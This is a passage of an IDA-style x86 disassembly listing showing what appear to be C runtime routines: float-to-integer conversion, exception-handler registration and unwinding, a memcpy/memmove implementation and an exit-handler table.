sub_41C748 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C760 proc near ; CODE XREF: sub_41C748p
mov eax, offset sub_421CA0
mov off_43CF54, offset sub_421935
mov off_43CF50, eax
mov off_43CF58, offset sub_42199B
mov off_43CF5C, offset sub_4218DB
mov off_43CF60, offset sub_421983
mov off_43CF64, eax
retn
sub_41C760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp
; sub_40D030+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41C798 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7BF(double)
sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p
; ___:0040DD3Cp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A958
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C845
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C828
cmp eax, 2
jle short loc_41C81A
cmp eax, 3
jnz short loc_41C828
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C828: ; CODE XREF: sub_41C7BF+3Aj
; sub_41C7BF+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41C882
; ---------------------------------------------------------------------------
loc_41C845: ; CODE XREF: sub_41C7BF+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C868
loc_41C85A: ; CODE XREF: sub_41C7BF+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C868: ; CODE XREF: sub_41C7BF+99j
test bl, 20h
jnz short loc_41C85A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41C882: ; CODE XREF: sub_41C7BF+84j
call sub_421014
add esp, 1Ch
loc_41C88A: ; CODE XREF: sub_41C7BF+59j
; sub_41C7BF+67j ...
pop esi
pop ebx
leave
retn
sub_41C7BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C88E proc near ; CODE XREF: ___:00422182p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41C88E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p
; sub_422486+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp
; sub_422111:loc_422142p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41C8F8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42675C
sub_41C8D0 endp
; ---------------------------------------------------------------------------
loc_41C8F8: ; DATA XREF: sub_41C8D0+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41C91F: ; CODE XREF: ___:00426DFCj
; ___:00426E19j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421D16
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C955 proc near ; CODE XREF: sub_42218C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41C9A9
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422510
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41C955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
pop ebp
retn
sub_41C9A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9CE proc near ; CODE XREF: sub_421F58+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41CA82
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41CA54
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DB9D4
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41CA54: ; DATA XREF: sub_41C9CE+3Co
cmp [ebp+var_4], 0
jz short loc_41CA71
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41C9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41CAA5
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41CAF2
; ---------------------------------------------------------------------------
loc_41CAA5: ; CODE XREF: sub_41CA82+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41CAE3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41C8D0
; ---------------------------------------------------------------------------
loc_41CAE3: ; CODE XREF: sub_41CA82+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41CAF2: ; CODE XREF: sub_41CA82+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CA82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p
; sub_421F58+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41CB4E
loc_41CB15: ; CODE XREF: sub_41CAF7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB1F
call sub_4225B2
loc_41CB1F: ; CODE XREF: sub_41CAF7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41CB34
cmp ecx, [eax+8]
jle short loc_41CB39
loc_41CB34: ; CODE XREF: sub_41CAF7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB45
loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41CB45: ; CODE XREF: sub_41CAF7+40j
cmp [ebp+arg_4], 0
jge short loc_41CB15
mov eax, [ebp+var_4]
loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41CB62
cmp esi, eax
jbe short loc_41CB67
loc_41CB62: ; CODE XREF: sub_41CAF7+65j
call sub_4225B2
loc_41CB67: ; CODE XREF: sub_41CAF7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41CAF7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41CB8C
push [ebp+arg_0]
call sub_42675C
sub_41CB74 endp
; =============== S U B R O U T I N E =======================================
sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CB8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao
; sub_41CC1E+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41CBB5
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41CBB5: ; CODE XREF: sub_41CB94+10j
retn
sub_41CB94 endp
; =============== S U B R O U T I N E =======================================
sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp
; sub_4234B8+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41CB94
push large dword ptr fs:0
mov large fs:0, esp
loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41CC10
cmp esi, [esp+1Ch+arg_4]
jz short loc_41CC10
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41CC0E
push 101h
mov eax, [ebx+esi*4+8]
call sub_41CC4A
call dword ptr [ebx+esi*4+8]
loc_41CC0E: ; CODE XREF: sub_41CBB6+44j
jmp short loc_41CBD3
; ---------------------------------------------------------------------------
loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj
; sub_41CBB6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41CBB6 endp
; =============== S U B R O U T I N E =======================================
sub_41CC1E proc near ; CODE XREF: sub_422252+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41CB94
jnz short locret_41CC40
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41CC40
mov eax, 1
locret_41CC40: ; CODE XREF: sub_41CC1E+10j
; sub_41CC1E+1Bj
retn
sub_41CC1E endp
; =============== S U B R O U T I N E =======================================
sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep
; sub_422510+40p
push ebx
push ecx
mov ebx, offset dword_43A95C
jmp short loc_41CC54
sub_41CC41 endp
; =============== S U B R O U T I N E =======================================
sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp
; sub_4234B8+78p
push ebx
push ecx
mov ebx, offset dword_43A95C
mov ecx, [ebp+8]
loc_41CC54: ; CODE XREF: sub_41CC41+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41CC4A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p
; sub_40D21E+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41CC64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p
; ___:004264F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B0B1
pop ecx
retn
sub_41CC83 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap
; sub_41DEA2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CCB0
cmp edi, eax
jb loc_41CE28
loc_41CCB0: ; CODE XREF: sub_41CC90+16j
test edi, 3
jnz short loc_41CCCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
loc_41CCCC: ; CODE XREF: sub_41CC90+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CCE4
and eax, 3
add ecx, eax
jmp dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CCE4: ; CODE XREF: sub_41CC90+46j
jmp dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCEC: ; CODE XREF: sub_41CC90+31j
; sub_41CC90+8Ej ...
jmp off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_41CD00
dd offset loc_41CD2C
dd offset loc_41CD50
; ---------------------------------------------------------------------------
loc_41CD00: ; DATA XREF: sub_41CC90+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD2C: ; DATA XREF: sub_41CC90+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CD50: ; DATA XREF: sub_41CC90+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr
dd offset loc_41CDBC
dd offset loc_41CDB4
dd offset loc_41CDAC
dd offset loc_41CDA4
dd offset loc_41CD9C
dd offset loc_41CD94
dd offset loc_41CD8C
; ---------------------------------------------------------------------------
loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90:off_41CD6Co
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r
; sub_41CC90+92r ...
dd offset loc_41CDF0
dd offset loc_41CDFC
dd offset loc_41CE10
; ---------------------------------------------------------------------------
loc_41CDE8: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CDF0: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDFC: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE10: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE28: ; CODE XREF: sub_41CC90+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CE5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CE50: ; CODE XREF: sub_41CC90+1B1j
; sub_41CC90+208j ...
neg ecx
jmp off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CE74
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CE74: ; CODE XREF: sub_41CC90+1D6j
; DATA XREF: sub_41CC90+1DDr
jmp off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CE87+1
dd offset loc_41CEA8
; ---------------------------------------------------------------------------
ror dh, 1
inc ecx
loc_41CE87: ; DATA XREF: sub_41CC90+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF24
dd offset loc_41CF2C
dd offset loc_41CF34
dd offset loc_41CF3C
dd offset loc_41CF44
dd offset loc_41CF4C
dd offset loc_41CF54
off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------
loc_41CF24: ; DATA XREF: sub_41CC90+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CF2C: ; DATA XREF: sub_41CC90+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CF34: ; DATA XREF: sub_41CC90+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CF3C: ; DATA XREF: sub_41CC90+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CF44: ; DATA XREF: sub_41CC90+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CF4C: ; DATA XREF: sub_41CC90+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CF54: ; DATA XREF: sub_41CC90+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CF67: ; CODE XREF: sub_41CC90+1C2j
; DATA XREF: sub_41CC90:off_41CF20o
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r
; sub_41CC90:loc_41CE74r ...
dd offset loc_41CF88
dd offset loc_41CF98
dd offset loc_41CFAC
; ---------------------------------------------------------------------------
loc_41CF80: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF88: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF98: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CC90 endp
; =============== S U B R O U T I N E =======================================
sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p
; sub_40D78B+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41CFC5 endp
; =============== S U B R O U T I N E =======================================
sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p
arg_0 = dword ptr 4
push esi
push dword_4DCFDC
call sub_422608
mov edx, dword_4DCFDC
pop ecx
mov ecx, dword_4DCFD8
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D032
push edx
call sub_422608
add eax, 10h
push eax
push dword_4DCFDC
call sub_41B202
add esp, 0Ch
test eax, eax
jnz short loc_41D015
retn
; ---------------------------------------------------------------------------
loc_41D015: ; CODE XREF: sub_41CFD3+3Fj
mov ecx, dword_4DCFD8
sub ecx, dword_4DCFDC
mov dword_4DCFDC, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DCFD8, ecx
loc_41D032: ; CODE XREF: sub_41CFD3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DCFD8, 4
retn
sub_41CFD3 endp
; =============== S U B R O U T I N E =======================================
sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41CFD3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D040 endp
; =============== S U B R O U T I N E =======================================
sub_41D052 proc near ; DATA XREF: ___:0042901Co
push 80h
call sub_41B4D5
test eax, eax
pop ecx
mov dword_4DCFDC, eax
jnz short loc_41D073
push 18h
call sub_41DA29
mov eax, dword_4DCFDC
pop ecx
loc_41D073: ; CODE XREF: sub_41D052+12j
and dword ptr [eax], 0
mov eax, dword_4DCFDC
mov dword_4DCFD8, eax
retn
sub_41D052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
